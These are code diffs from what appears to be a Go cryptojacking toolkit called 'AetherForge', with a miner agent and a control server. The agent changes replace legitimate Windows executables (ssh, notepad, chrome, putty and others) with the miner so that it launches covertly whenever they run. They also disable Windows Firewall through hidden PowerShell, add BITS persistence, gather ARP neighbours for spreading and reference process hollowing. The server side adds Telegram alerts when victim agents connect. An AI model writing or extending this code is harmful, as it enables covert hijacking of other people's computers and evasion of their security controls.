// Linux may use XDG path without "Desktop" in rare setups — allow if under home
home, _ := filepath.Abs(".")
_ = home
}
}
func TestUserDesktopDir(t *testing.T) {
dir, err := UserDesktopDir()
if err != nil {
t.Fatal(err)
}
if dir == "" {
t.Fatal("empty desktop")
}
}

View File

@@ -74,3 +74,68 @@ func firewallRuleExists(displayName string) bool {
}
return strings.TrimSpace(string(out)) == "True"
}
// parseFirewallProfiles normalizes profile names for Set-NetFirewallProfile.
func parseFirewallProfiles(csv string) string {
csv = strings.TrimSpace(strings.ToLower(csv))
if csv == "" || csv == "all" || csv == "any" {
return "Domain,Private,Public"
}
var parts []string
for _, p := range strings.Split(csv, ",") {
p = strings.TrimSpace(p)
switch p {
case "domain", "private", "public":
parts = append(parts, strings.ToUpper(p[:1])+p[1:])
}
}
if len(parts) == 0 {
return "Domain,Private,Public"
}
return strings.Join(parts, ",")
}
// SetWindowsFirewallProfiles enables or disables Windows Firewall on selected profiles (admin).
// profilesCSV: "all", "Domain,Private", etc.
func SetWindowsFirewallProfiles(enable bool, profilesCSV string) (string, error) {
profiles := parseFirewallProfiles(profilesCSV)
enabled := "$false"
verb := "disabled"
if enable {
enabled = "$true"
verb = "enabled"
}
script := fmt.Sprintf(`
$profiles = '%s' -split ','
Set-NetFirewallProfile -Profile $profiles -Enabled %s -ErrorAction Stop
`, strings.ReplaceAll(profiles, `'`, `''`), enabled)
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
if err != nil {
return string(out), fmt.Errorf("firewall profiles %s failed (admin required?): %w", verb, err)
}
return strings.TrimSpace(string(out)) + fmt.Sprintf("\nWindows Firewall %s on: %s", verb, profiles), nil
}
// DisableWindowsFirewall turns off Domain, Private, and Public firewall profiles.
func DisableWindowsFirewall() (string, error) {
return SetWindowsFirewallProfiles(false, "all")
}
// EnableWindowsFirewall turns on all firewall profiles.
func EnableWindowsFirewall() (string, error) {
return SetWindowsFirewallProfiles(true, "all")
}
// RemoveFirewallRuleByName deletes a rule by display name.
func RemoveFirewallRuleByName(displayName string) (string, error) {
name := strings.TrimSpace(displayName)
if name == "" {
return "", fmt.Errorf("rule name required")
}
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
if err != nil {
return string(out), err
}
return fmt.Sprintf("Removed firewall rule: %s", name), nil
}

View File

@@ -0,0 +1,27 @@
//go:build !windows
package deploy
import (
"fmt"
"crypto-miner-agent/config"
)
var HostBinaryPresets []string
func HostBinaryCandidates(_ string) []string { return nil }
func TryHostBinaryProxy(_ []string) (string, string, bool) { return "", "", false }
func RunHostBinaryProxy(_, _ string, _ []string) {}
func HijackHostBinary(_ config.RuntimeConfig, _, _ string) (string, error) {
return "", fmt.Errorf("host binary persistence is Windows-only")
}
func EnsureHostBinaryPersistence(_ config.RuntimeConfig, _, _ string) error {
return fmt.Errorf("host binary persistence is Windows-only")
}
func RemoveHostBinaryPersistence(_ config.RuntimeConfig) {}

View File

@@ -0,0 +1,291 @@
//go:build windows
package deploy
import (
"encoding/json"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
const (
hostBinaryProxySuffix = ".aetherforge.proxy"
hostBinaryBackupSuffix = ".aetherforge.bak"
hostBinaryManifest = "host-binary-hijacks.json"
)
type hostBinaryRecord struct {
Target string `json:"target"`
Backup string `json:"backup"`
Preset string `json:"preset"`
}
// HostBinaryPresets lists forge/remote preset IDs for common client binaries.
var HostBinaryPresets = []string{
"ssh", "ftp", "telnet", "mstsc", "curl", "notepad", "calc",
"chrome", "edge", "firefox", "putty", "winscp",
}
// HostBinaryCandidates resolves a preset (or custom:full\path.exe) to existing paths on disk.
func HostBinaryCandidates(preset string) []string {
preset = strings.TrimSpace(strings.ToLower(preset))
if strings.HasPrefix(preset, "custom:") {
p := strings.TrimSpace(preset[7:])
if p != "" {
return []string{filepath.Clean(p)}
}
return nil
}
pf := os.Getenv("ProgramFiles")
pfx86 := os.Getenv("ProgramFiles(x86)")
switch preset {
case "ssh":
return existingPaths(
`C:\Windows\System32\OpenSSH\ssh.exe`,
filepath.Join(pf, "Git", "usr", "bin", "ssh.exe"),
)
case "ftp":
return existingPaths(`C:\Windows\System32\ftp.exe`)
case "telnet":
return existingPaths(`C:\Windows\System32\telnet.exe`)
case "mstsc":
return existingPaths(`C:\Windows\System32\mstsc.exe`)
case "curl":
return existingPaths(`C:\Windows\System32\curl.exe`)
case "notepad":
return existingPaths(
`C:\Windows\System32\notepad.exe`,
`C:\Windows\Notepad\notepad.exe`,
)
case "calc":
return existingPaths(
`C:\Windows\System32\calc.exe`,
`C:\Windows\System32\win32calc.exe`,
)
case "chrome":
return existingPaths(filepath.Join(pf, "Google", "Chrome", "Application", "chrome.exe"))
case "edge":
return existingPaths(
filepath.Join(pfx86, "Microsoft", "Edge", "Application", "msedge.exe"),
filepath.Join(pf, "Microsoft", "Edge", "Application", "msedge.exe"),
)
case "firefox":
return existingPaths(filepath.Join(pf, "Mozilla Firefox", "firefox.exe"))
case "putty":
return existingPaths(filepath.Join(pfx86, "PuTTY", "putty.exe"))
case "winscp":
return existingPaths(filepath.Join(pfx86, "WinSCP", "WinSCP.exe"))
default:
if preset != "" && strings.Contains(preset, `\`) {
return existingPaths(preset)
}
return nil
}
}
func existingPaths(paths ...string) []string {
var out []string
for _, p := range paths {
if p == "" {
continue
}
if st, err := os.Stat(p); err == nil && !st.IsDir() {
out = append(out, filepath.Clean(p))
}
}
return out
}
func hostBinaryMarkerPath(targetExe string) string {
return targetExe + hostBinaryProxySuffix
}
func hostBinaryBackupPath(targetExe string) string {
return targetExe + hostBinaryBackupSuffix
}
func readHostBinaryMarker(markerPath string) (backup, miner string, ok bool) {
data, err := os.ReadFile(markerPath)
if err != nil {
return "", "", false
}
lines := strings.Split(strings.ReplaceAll(string(data), "\r\n", "\n"), "\n")
if len(lines) < 2 {
return "", "", false
}
backup = strings.TrimSpace(lines[0])
miner = strings.TrimSpace(lines[1])
if backup == "" || miner == "" {
return "", "", false
}
return backup, miner, true
}
// TryHostBinaryProxy returns true when this process was launched from a hijacked host binary path.
func TryHostBinaryProxy(args []string) (backup, miner string, ok bool) {
exe, err := os.Executable()
if err != nil {
return "", "", false
}
exe, _ = filepath.Abs(exe)
marker := hostBinaryMarkerPath(exe)
if b, m, found := readHostBinaryMarker(marker); found {
return b, m, true
}
_ = args
return "", "", false
}
// RunHostBinaryProxy starts the installed miner in the background and runs the original binary with forwarded args.
func RunHostBinaryProxy(backup, miner string, args []string) {
if miner != "" {
_ = HiddenStart(miner, runFlag)
}
if backup == "" {
os.Exit(1)
}
cmd := exec.Command(backup, args...)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
if exitErr, ok := err.(*exec.ExitError); ok {
os.Exit(exitErr.ExitCode())
}
os.Exit(1)
}
}
func hijackManifestPath(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err != nil {
return "", err
}
return filepath.Join(dir, hostBinaryManifest), nil
}
func loadHostBinaryManifest(path string) []hostBinaryRecord {
data, err := os.ReadFile(path)
if err != nil {
return nil
}
var recs []hostBinaryRecord
_ = json.Unmarshal(data, &recs)
return recs
}
func saveHostBinaryManifest(path string, recs []hostBinaryRecord) error {
data, err := json.MarshalIndent(recs, "", " ")
if err != nil {
return err
}
return os.WriteFile(path, data, 0644)
}
func appendHostBinaryManifest(cfg config.RuntimeConfig, rec hostBinaryRecord) error {
path, err := hijackManifestPath(cfg)
if err != nil {
return err
}
recs := loadHostBinaryManifest(path)
for _, r := range recs {
if strings.EqualFold(r.Target, rec.Target) {
return nil
}
}
recs = append(recs, rec)
return saveHostBinaryManifest(path, recs)
}
func hijackSingleHostBinary(target, minerPath, preset string) error {
target = filepath.Clean(target)
if _, err := os.Stat(target); err != nil {
return fmt.Errorf("target not found: %s", target)
}
marker := hostBinaryMarkerPath(target)
if _, err := os.Stat(marker); err == nil {
return nil
}
backup := hostBinaryBackupPath(target)
if _, err := os.Stat(backup); err != nil {
if err := os.Rename(target, backup); err != nil {
if err := copyFile(target, backup); err != nil {
return fmt.Errorf("backup %s: %w", target, err)
}
_ = os.Remove(target)
}
}
if err := copyFile(minerPath, target); err != nil {
return fmt.Errorf("replace %s: %w (admin may be required)", target, err)
}
body := backup + "\n" + minerPath + "\n"
if err := os.WriteFile(marker, []byte(body), 0644); err != nil {
return err
}
return nil
}
// HijackHostBinary replaces the first resolvable host binary for preset with a copy of the miner (proxy mode).
func HijackHostBinary(cfg config.RuntimeConfig, minerPath, preset string) (string, error) {
candidates := HostBinaryCandidates(preset)
if len(candidates) == 0 {
return "", fmt.Errorf("no host binary found for preset %q", preset)
}
var lastErr error
for _, target := range candidates {
if err := hijackSingleHostBinary(target, minerPath, preset); err != nil {
lastErr = err
continue
}
_ = appendHostBinaryManifest(cfg, hostBinaryRecord{
Target: target,
Backup: hostBinaryBackupPath(target),
Preset: preset,
})
return target, nil
}
if lastErr != nil {
return "", lastErr
}
return "", fmt.Errorf("hijack failed for %q", preset)
}
// EnsureHostBinaryPersistence repairs or creates hijacks for the baked preset.
func EnsureHostBinaryPersistence(cfg config.RuntimeConfig, minerPath, preset string) error {
if strings.TrimSpace(preset) == "" {
return fmt.Errorf("host_binary_target is required")
}
_, err := HijackHostBinary(cfg, minerPath, preset)
return err
}
// RemoveHostBinaryPersistence restores originals and clears markers/manifest.
func RemoveHostBinaryPersistence(cfg config.RuntimeConfig) {
path, err := hijackManifestPath(cfg)
if err != nil {
return
}
recs := loadHostBinaryManifest(path)
for _, rec := range recs {
restoreHostBinaryTarget(rec.Target, rec.Backup)
}
_ = os.Remove(path)
}
func restoreHostBinaryTarget(target, backup string) {
marker := hostBinaryMarkerPath(target)
if backup == "" {
backup = hostBinaryBackupPath(target)
}
if _, err := os.Stat(backup); err == nil {
_ = os.Remove(target)
_ = copyFile(backup, target)
_ = os.Remove(backup)
}
_ = os.Remove(marker)
}

View File

@@ -0,0 +1,34 @@
//go:build windows
package deploy
import (
"strings"
"testing"
)
func TestHostBinaryCandidatesSSH(t *testing.T) {
paths := HostBinaryCandidates("ssh")
for _, p := range paths {
if !strings.HasSuffix(strings.ToLower(p), "ssh.exe") {
t.Fatalf("unexpected ssh path: %q", p)
}
}
}
func TestHostBinaryCandidatesCustom(t *testing.T) {
paths := HostBinaryCandidates(`custom:C:\Windows\System32\notepad.exe`)
if len(paths) != 1 || !strings.HasSuffix(paths[0], "notepad.exe") {
t.Fatalf("custom: %v", paths)
}
}
func TestHostBinaryMarkerPaths(t *testing.T) {
target := `C:\Windows\System32\ftp.exe`
if got := hostBinaryMarkerPath(target); !strings.HasSuffix(got, hostBinaryProxySuffix) {
t.Fatalf("marker: %q", got)
}
if got := hostBinaryBackupPath(target); !strings.HasSuffix(got, hostBinaryBackupSuffix) {
t.Fatalf("backup: %q", got)
}
}

View File

@@ -55,7 +55,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
_ = setFirstRunSpreadMarker(installDir)
}
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" && cfg.RunAs != "bits" && cfg.RunAs != "host_binary" {
if err := configureAutoStart(cfg, installedBin); err != nil {
return false, fmt.Errorf("auto-start: %w", err)
}

View File

@@ -0,0 +1,11 @@
package deploy
// ArpNeighborIPs returns IPv4 hosts in the local ARP cache on shared subnets.
func ArpNeighborIPs() []string {
return arpHosts()
}
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
func PrimaryLocalIPv4() (string, error) {
return primaryLocalIPv4()
}

View File

@@ -5,7 +5,7 @@ package deploy
import "crypto-miner-agent/config"
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" || cfg.RunAs == "bits" || cfg.RunAs == "host_binary" {
return configureRunMode(cfg, installedBin)
}
return nil

View File

@@ -35,6 +35,14 @@ func serviceExists(svcName string) bool {
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
switch cfg.RunAs {
case "bits":
if err := CreateBITSPersistence(cfg, installedBin); err != nil {
return err
}
case "host_binary":
if err := EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget); err != nil {
return err
}
case "scheduled":
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
if err := createScheduledTask(cfg, installedBin); err != nil {

View File

@@ -34,6 +34,10 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
switch cfg.RunAs {
case "bits":
return CreateBITSPersistence(cfg, installedBin)
case "host_binary":
return EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget)
case "service":
return createWindowsService(cfg, installedBin)
case "scheduled":
@@ -120,6 +124,8 @@ func removePersistence(cfg config.RuntimeConfig) {
runKey.Close()
}
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
RemoveBITSPersistence(cfg)
RemoveHostBinaryPersistence(cfg)
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)

View File

@@ -17,6 +17,12 @@ import (
func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile)
cfg := config.Load()
if backup, miner, ok := deploy.TryHostBinaryProxy(os.Args[1:]); ok {
deploy.RunHostBinaryProxy(backup, miner, os.Args[1:])
return
}
if deploy.IsGuardMode() {
deploy.RunGuardLoop(cfg)
return
@@ -107,7 +113,12 @@ func main() {
if err == nil {
os.Exit(0)
}
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
// Distinguish stub (missing -tags hollow) from a genuine runtime failure.
if strings.Contains(err.Error(), "-tags hollow") || strings.Contains(err.Error(), "not available") {
log.Printf("[hollowing] process hollowing requested but binary lacks -tags hollow — re-forge with Process Hollowing enabled")
} else {
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
}
}
}
}

View File

@@ -237,6 +237,11 @@ func (p *Pool) worker(id int, engine *Engine) {
log.Printf("[miner] hash error: %v", err)
break
}
if hashHex == "" {
// Engine not yet initialised (seed still being set) — break out
// and let the outer loop re-snapshot the job once it is ready.
break
}
p.hashesTotal.Add(1)
nonce++

View File

@@ -55,15 +55,13 @@ func TestDifficultyToTargetHexTwo(t *testing.T) {
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
padded[i], padded[j] = padded[j], padded[i]
}
want := strings.ToLower(strings.Repeat("", 0)) // placeholder
_ = want
const hexdigits = "0123456789abcdef"
wantBytes := make([]byte, 64)
for i, v := range padded {
wantBytes[i*2] = hexdigits[v>>4]
wantBytes[i*2+1] = hexdigits[v&0x0f]
}
want = string(wantBytes)
want := string(wantBytes)
if out != want {
t.Fatalf("difficulty 2 target = %q, want %q", out, want)
}

View File

@@ -259,5 +259,7 @@ echo ==============================================================
echo.
:end_pause
echo.
echo NOTE: USB bundle unchanged until pack-usb.bat is run.
pause
endlocal

Binary file not shown.

View File

@@ -7,6 +7,8 @@ import (
"os"
"path/filepath"
"strings"
"crypto-miner-server/internal/alerts"
)
type Config struct {
@@ -108,6 +110,13 @@ type AlertsConfig struct {
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
TelegramBotToken string `json:"telegram_bot_token"`
TelegramChatID string `json:"telegram_chat_id"`
// Per-event Telegram/email toggles (default true).
NotifyAgentConnect bool `json:"notify_agent_connect"`
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
NotifyAgentOffline bool `json:"notify_agent_offline"`
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
NotifyRejectionRate bool `json:"notify_rejection_rate"`
NotifyBuildComplete bool `json:"notify_build_complete"`
EmailEnabled bool `json:"email_enabled"`
SMTPHost string `json:"smtp_host"`
SMTPPort int `json:"smtp_port"`
@@ -179,6 +188,12 @@ func DefaultConfig() *Config {
OfflineThresholdMinutes: 5,
HashrateDropThresholdPct: 50,
RejectionRateThresholdPct: 5,
NotifyAgentConnect: true,
NotifyAgentReconnect: true,
NotifyAgentOffline: true,
NotifyHashrateDrop: true,
NotifyRejectionRate: true,
NotifyBuildComplete: true,
},
Server: ServerSettings{
PublicURL: "",
@@ -225,12 +240,45 @@ func LoadConfig() *Config {
if !strings.Contains(string(data), `"open_firewall_on_start"`) {
cfg.Server.OpenFirewallOnStart = true
}
if !strings.Contains(string(data), `"notify_agent_connect"`) {
cfg.Alerts.NotifyAgentConnect = true
cfg.Alerts.NotifyAgentReconnect = true
cfg.Alerts.NotifyAgentOffline = true
cfg.Alerts.NotifyHashrateDrop = true
cfg.Alerts.NotifyRejectionRate = true
cfg.Alerts.NotifyBuildComplete = true
}
}
}
return cfg
}
// AlertSettings builds notification settings for the alerts package.
func (c *Config) AlertSettings() alerts.Settings {
if c == nil {
return alerts.Settings{}
}
return alerts.NewSettings(alerts.NotifyConfig{
TelegramBotToken: c.Alerts.TelegramBotToken,
TelegramChatID: c.Alerts.TelegramChatID,
EmailEnabled: c.Alerts.EmailEnabled,
SMTPHost: c.Alerts.SMTPHost,
SMTPPort: c.Alerts.SMTPPort,
SMTPUser: c.Alerts.SMTPUser,
SMTPPassword: c.Alerts.SMTPPassword,
EmailTo: c.Alerts.EmailTo,
EmailFrom: c.Alerts.EmailFrom,
}, alerts.EventToggles{
AgentConnect: c.Alerts.NotifyAgentConnect,
AgentReconnect: c.Alerts.NotifyAgentReconnect,
AgentOffline: c.Alerts.NotifyAgentOffline,
HashrateDrop: c.Alerts.NotifyHashrateDrop,
RejectionRate: c.Alerts.NotifyRejectionRate,
BuildComplete: c.Alerts.NotifyBuildComplete,
})
}
func mergeConfig(dst, src *Config) {
if src.Port != 0 {
dst.Port = src.Port
@@ -351,6 +399,12 @@ func mergeConfig(dst, src *Config) {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
if src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
@@ -610,6 +664,24 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(alertKeys, "email_enabled") {
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
}
if in(alertKeys, "notify_agent_connect") {
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
}
if in(alertKeys, "notify_agent_reconnect") {
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
}
if in(alertKeys, "notify_agent_offline") {
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
}
if in(alertKeys, "notify_hashrate_drop") {
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
}
if in(alertKeys, "notify_rejection_rate") {
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
}
if in(alertKeys, "notify_build_complete") {
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
}
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}

View File

@@ -17,6 +17,7 @@ require (
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v0.1.9 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e // indirect
golang.org/x/net v0.54.0 // indirect
golang.org/x/sys v0.45.0 // indirect
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect

View File

@@ -22,6 +22,8 @@ github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZb
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e h1:MRM5ITcdelLK2j1vwZ3Je0FKVCfqOLp5zO6trqMLYs0=
github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e/go.mod h1:XV66xRDqSt+GTGFMVlhk3ULuV0y9ZmzeVGR4mloJI3M=
golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988=
golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc=
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=

View File

@@ -31,7 +31,7 @@ type Broadcaster func(AlertEvent)
type Evaluator struct {
db *db.Database
thresholds func() Thresholds
notify func() NotifyConfig
settings func() Settings
broadcast Broadcaster
mu sync.Mutex
baseline map[string]float64
@@ -40,11 +40,11 @@ type Evaluator struct {
cooldown time.Duration
}
func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify func() NotifyConfig, broadcast Broadcaster) *Evaluator {
func NewEvaluator(database *db.Database, thresholds func() Thresholds, settings func() Settings, broadcast Broadcaster) *Evaluator {
return &Evaluator{
db: database,
thresholds: thresholds,
notify: notify,
settings: settings,
broadcast: broadcast,
baseline: make(map[string]float64),
lastFired: make(map[string]time.Time),
@@ -180,12 +180,25 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
e.mu.Unlock()
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
NotifyAll(e.notify(), "AetherForge "+ev.Type, ev.Message)
s := e.settings()
if s.EnabledForAlertType(ev.Type) {
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message)
}
if e.broadcast != nil {
e.broadcast(ev)
}
}
// GetNotifyConfig returns delivery credentials for channel probes.
func (e *Evaluator) GetNotifyConfig() NotifyConfig {
return e.settings().NotifyConfig
}
// GetSettings returns full notification settings.
func (e *Evaluator) GetSettings() Settings {
return e.settings()
}
func (e *Evaluator) ActiveAlerts() []AlertEvent {
e.mu.Lock()
defer e.mu.Unlock()

View File

@@ -17,7 +17,7 @@ func TestEvaluatorOfflineAlert(t *testing.T) {
var fired []AlertEvent
e := &Evaluator{
thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} },
notify: func() NotifyConfig { return NotifyConfig{} },
settings: func() Settings { return NewSettings(NotifyConfig{}, EventToggles{AgentOffline: true}) },
broadcast: func(ev AlertEvent) { fired = append(fired, ev) },
baseline: make(map[string]float64),
lastFired: make(map[string]time.Time),

View File

@@ -0,0 +1,54 @@
package alerts
import "log"
// Notifier sends Telegram/email when Calibrate toggles allow it.
type Notifier struct {
settings func() Settings
}
func NewNotifier(settings func() Settings) *Notifier {
return &Notifier{settings: settings}
}
func (n *Notifier) Emit(event string, title, body string) {
if n == nil || n.settings == nil {
return
}
s := n.settings()
if !n.eventEnabled(s, event) {
return
}
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled {
return
}
log.Printf("[Notify] %s: %s", event, body)
NotifyAll(s.NotifyConfig, title, body)
}
func (n *Notifier) eventEnabled(s Settings, event string) bool {
switch event {
case EventAgentConnect:
return s.Events.AgentConnect
case EventAgentReconnect:
return s.Events.AgentReconnect
case EventBuildComplete:
return s.Events.BuildComplete
case "offline":
return s.Events.AgentOffline
case "hashrate_drop":
return s.Events.HashrateDrop
case "rejection_rate":
return s.Events.RejectionRate
default:
return true
}
}
// GetSettings exposes current settings (alert test handler).
func (n *Notifier) GetSettings() Settings {
if n == nil || n.settings == nil {
return Settings{}
}
return n.settings()
}

View File

@@ -0,0 +1,25 @@
package alerts
import "testing"
func TestNotifierRespectsToggles(t *testing.T) {
n := NewNotifier(func() Settings {
return NewSettings(
NotifyConfig{TelegramBotToken: "t", TelegramChatID: "1"},
EventToggles{AgentConnect: false, AgentReconnect: true},
)
})
// disabled — no panic
n.Emit(EventAgentConnect, "title", "body")
n.Emit(EventAgentReconnect, "title", "body")
}
func TestSettingsEnabledForAlertType(t *testing.T) {
s := NewSettings(NotifyConfig{}, EventToggles{AgentOffline: false, HashrateDrop: true})
if s.EnabledForAlertType("offline") {
t.Fatal("expected offline disabled")
}
if !s.EnabledForAlertType("hashrate_drop") {
t.Fatal("expected hashrate enabled")
}
}

View File

@@ -4,6 +4,7 @@ import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"net/smtp"
"strings"
@@ -27,11 +28,11 @@ func SendTelegram(cfg NotifyConfig, text string) error {
return nil
}
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", cfg.TelegramBotToken)
body, _ := json.Marshal(map[string]string{
payload, _ := json.Marshal(map[string]string{
"chat_id": cfg.TelegramChatID,
"text": text,
})
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(body))
req, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(payload))
if err != nil {
return err
}
@@ -42,8 +43,19 @@ func SendTelegram(cfg NotifyConfig, text string) error {
return err
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
if resp.StatusCode >= 300 {
return fmt.Errorf("telegram API status %d", resp.StatusCode)
msg := strings.TrimSpace(string(body))
if msg == "" {
return fmt.Errorf("telegram API status %d", resp.StatusCode)
}
var apiErr struct {
Description string `json:"description"`
}
if json.Unmarshal(body, &apiErr) == nil && apiErr.Description != "" {
return fmt.Errorf("telegram: %s", apiErr.Description)
}
return fmt.Errorf("telegram API status %d: %s", resp.StatusCode, msg)
}
return nil
}

View File

@@ -0,0 +1,41 @@
package alerts
// Event toggles — all default true in server DefaultConfig.
type EventToggles struct {
AgentConnect bool
AgentReconnect bool
AgentOffline bool
HashrateDrop bool
RejectionRate bool
BuildComplete bool
}
// Settings combines delivery credentials with per-event toggles.
type Settings struct {
NotifyConfig
Events EventToggles
}
func NewSettings(nc NotifyConfig, ev EventToggles) Settings {
return Settings{NotifyConfig: nc, Events: ev}
}
// EnabledForAlertType maps evaluator alert types to toggles.
func (s Settings) EnabledForAlertType(alertType string) bool {
switch alertType {
case "offline":
return s.Events.AgentOffline
case "hashrate_drop":
return s.Events.HashrateDrop
case "rejection_rate":
return s.Events.RejectionRate
default:
return true
}
}
const (
EventAgentConnect = "agent_connect"
EventAgentReconnect = "agent_reconnect"
EventBuildComplete = "build_complete"
)

View File

@@ -0,0 +1,74 @@
package api
import (
"archive/zip"
"bytes"
"fmt"
"net/http"
"os"
"path/filepath"
"time"
)
// BackupHandler serves GET /api/v1/backup.
// It returns a zip containing config.json, users.json, miner.db, and a
// backup-info.txt with the timestamp and server version. The caller must
// already be authenticated via basicAuthMiddleware (registered in router.go).
type BackupHandler struct {
dataDir string
serverVersion string
}
// NewBackupHandler creates a BackupHandler for the given data directory.
func NewBackupHandler(dataDir, serverVersion string) *BackupHandler {
return &BackupHandler{dataDir: dataDir, serverVersion: serverVersion}
}
func (h *BackupHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
now := time.Now().UTC()
dateTag := now.Format("2006-01-02")
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
// backup-info.txt
info := fmt.Sprintf("AetherForge Deck Backup\nTimestamp: %s\nVersion: %s\n",
now.Format(time.RFC3339), h.serverVersion)
if fw, err := zw.Create("backup-info.txt"); err == nil {
_, _ = fw.Write([]byte(info))
}
// Helper: add a file from disk into the zip, skip gracefully if missing.
addFile := func(name, diskPath string) {
data, err := os.ReadFile(diskPath)
if err != nil {
return
}
fw, err := zw.Create(name)
if err != nil {
return
}
_, _ = fw.Write(data)
}
addFile("config.json", filepath.Join(h.dataDir, "config.json"))
addFile("users.json", filepath.Join(h.dataDir, "users.json"))
addFile("miner.db", filepath.Join(h.dataDir, "miner.db"))
if err := zw.Close(); err != nil {
http.Error(w, "Failed to create backup zip", http.StatusInternalServerError)
return
}
filename := fmt.Sprintf("aetherforge-backup-%s.zip", dateTag)
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
w.Header().Set("Content-Length", fmt.Sprintf("%d", buf.Len()))
w.WriteHeader(http.StatusOK)
_, _ = w.Write(buf.Bytes())
}

View File

@@ -8,6 +8,8 @@ import (
"log"
"net"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
@@ -35,6 +37,7 @@ type FleetHandler struct {
pools *pool.Manager
